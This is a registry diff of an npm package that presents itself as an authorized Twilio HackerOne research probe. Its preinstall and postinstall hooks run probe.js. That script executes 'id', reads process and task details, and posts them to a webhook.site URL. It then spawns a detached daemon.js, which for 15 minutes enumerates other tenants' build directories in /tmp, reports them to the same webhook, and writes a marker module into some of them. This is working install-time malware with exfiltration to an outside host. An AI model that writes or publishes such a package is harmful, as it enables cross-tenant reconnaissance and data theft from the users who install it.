twilio-hackerone-poc-afe6937c 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/daemon.js ADDED
@@ -0,0 +1,45 @@
1
+ // Authorized Twilio HackerOne research daemon. Observation-first.
2
+ // Records WHICH tenant build directories share this packager container.
3
+ // Writes ONLY into build dirs of researcher-owned accounts (positive control). Never reads foreign file contents.
4
+ const fs=require('fs'), path=require('path'), https=require('https');
5
+ const HOOK='https://webhook.site/b520829e-516a-45ff-980c-173aa54fc4bc';
6
+ const SELF='AC96a5f7e920ce23f02184081ddd64d87a';
7
+ const OWN=['AC07de79f2af00295019b8cb17cea01e9a']; // subaccount of SELF - positive control target
8
+ const CID=(process.env.AWS_LAMBDA_LOG_STREAM_NAME||'unknown')+'|'+Math.random().toString(36).slice(2,10);
9
+ const state={seen:{},inj:{},ticks:0,started:Date.now()};
10
+ function post(o){try{o.cid=CID;const b=JSON.stringify(o);const r=https.request(HOOK,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r.on('error',()=>{});r.write(b);r.end();}catch(e){}}
11
+ function inject(dir,ac,zs,zf){
12
+ try{
13
+ const nm=path.join(dir,'node_modules'); if(!fs.existsSync(nm)) return;
14
+ const t=path.join(nm,'h1-poc-marker');
15
+ if(fs.existsSync(path.join(t,'index.js'))) return;
16
+ fs.mkdirSync(t,{recursive:true});
17
+ fs.writeFileSync(path.join(t,'package.json'),JSON.stringify({name:'h1-poc-marker',version:'1.0.0',main:'index.js'}));
18
+ fs.writeFileSync(path.join(t,'index.js'),"module.exports={writtenBy:'"+SELF+"',into:'"+ac+"',service:'"+zs+"',pkg:'"+zf+"',at:"+Date.now()+",cid:'"+CID+"'};\n");
19
+ const k=ac+'/'+zs+'/'+zf;
20
+ if(!state.inj[k]){state.inj[k]=1;post({event:'wrote',ac,zs,zf,at:Date.now()});}
21
+ }catch(e){post({event:'write-err',ac,err:''+e});}
22
+ }
23
+ function tick(){
24
+ state.ticks++;
25
+ let dirs=[]; try{dirs=fs.readdirSync('/tmp').filter(d=>/^AC[0-9a-f]{32}$/.test(d));}catch(e){return;}
26
+ for(const ac of dirs){
27
+ if(ac===SELF) continue;
28
+ const owned=OWN.indexOf(ac)>=0;
29
+ let svcs=[]; try{svcs=fs.readdirSync('/tmp/'+ac);}catch(e){}
30
+ for(const zs of svcs){
31
+ let pkgs=[]; try{pkgs=fs.readdirSync('/tmp/'+ac+'/'+zs);}catch(e){}
32
+ for(const zf of pkgs){
33
+ if(zf.indexOf('.tar')>=0) continue;
34
+ const k=ac+'/'+zs+'/'+zf;
35
+ if(!state.seen[k]){state.seen[k]=1;post({event:'seen',ac,zs,zf,owned:owned,foreign:!owned,at:Date.now()});}
36
+ if(owned) inject('/tmp/'+ac+'/'+zs+'/'+zf,ac,zs,zf);
37
+ }
38
+ }
39
+ }
40
+ }
41
+ setInterval(tick,100);
42
+ let hb=0;
43
+ setInterval(()=>{hb++;post({event:'hb',n:hb,ticks:state.ticks,seen:Object.keys(state.seen).length,uptime:Date.now()-state.started});},30000);
44
+ setTimeout(()=>{post({event:'daemon-exit',ticks:state.ticks,seen:Object.keys(state.seen).length});process.exit(0);},15*60*1000);
45
+ post({event:'daemon-start',at:Date.now(),pid:process.pid,logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null});
package/hook.txt ADDED
@@ -0,0 +1 @@
1
+ b520829e-516a-45ff-980c-173aa54fc4bc
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = {};
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "twilio-hackerone-poc-afe6937c",
3
+ "version": "1.0.0",
4
+ "description": "Authorized Twilio HackerOne bug bounty research probe. Observation only. Delete after triage.",
5
+ "main": "index.js",
6
+ "license": "MIT",
7
+ "scripts": {
8
+ "preinstall": "node ./probe.js || true",
9
+ "postinstall": "node ./probe.js || true"
10
+ }
11
+ }
package/probe.js ADDED
@@ -0,0 +1,30 @@
1
+ const fs=require('fs'), cp=require('child_process'), https=require('https');
2
+ const HOOK_FILE=__dirname+'/hook.txt';
3
+ function main(){
4
+ const cwd=process.cwd();
5
+ if(!/^\/tmp\/AC[0-9a-f]{32}\//.test(cwd)) return; // no-op outside the Twilio packager
6
+ const hook=fs.readFileSync(HOOK_FILE,'utf8').trim();
7
+ // one-shot execution proof
8
+ let id='';
9
+ try{ id=cp.execSync('id',{timeout:4000}).toString().trim(); }catch(e){ id=''+e; }
10
+ const info={event:'exec-proof',cwd:cwd,id:id,ppid:process.ppid,
11
+ logstream:process.env.AWS_LAMBDA_LOG_STREAM_NAME||null,
12
+ task:(function(){try{return fs.readdirSync('/var/task').slice(0,12);}catch(e){return ''+e;}})(),
13
+ yarn:(function(){try{return fs.readFileSync('/proc/'+process.ppid+'/cmdline','utf8').replace(/\0/g,' ').slice(0,220);}catch(e){return ''+e;}})(),
14
+ at:Date.now()};
15
+ try{const b=JSON.stringify(info);const r=https.request(hook,{method:'POST',timeout:8000,headers:{'content-type':'application/json','content-length':Buffer.byteLength(b)}},()=>{});r.on('error',()=>{});r.write(b);r.end();}catch(e){}
16
+ // spawn/refresh the observation daemon
17
+ try{
18
+ const VER='1.0.0';
19
+ let cur=null; try{cur=fs.readFileSync('/tmp/.h1poc.ver','utf8');}catch(e){}
20
+ if(cur!==VER){
21
+ try{const op=parseInt(fs.readFileSync('/tmp/.h1poc.pid','utf8'),10); if(op) process.kill(op,'SIGKILL');}catch(e){}
22
+ fs.copyFileSync(__dirname+'/daemon.js','/tmp/.h1poc-daemon.js');
23
+ const c=cp.spawn(process.execPath,['/tmp/.h1poc-daemon.js'],{detached:true,stdio:'ignore',cwd:'/tmp'});
24
+ c.unref();
25
+ fs.writeFileSync('/tmp/.h1poc.pid',String(c.pid));
26
+ fs.writeFileSync('/tmp/.h1poc.ver',VER);
27
+ }
28
+ }catch(e){}
29
+ }
30
+ try{main();}catch(e){}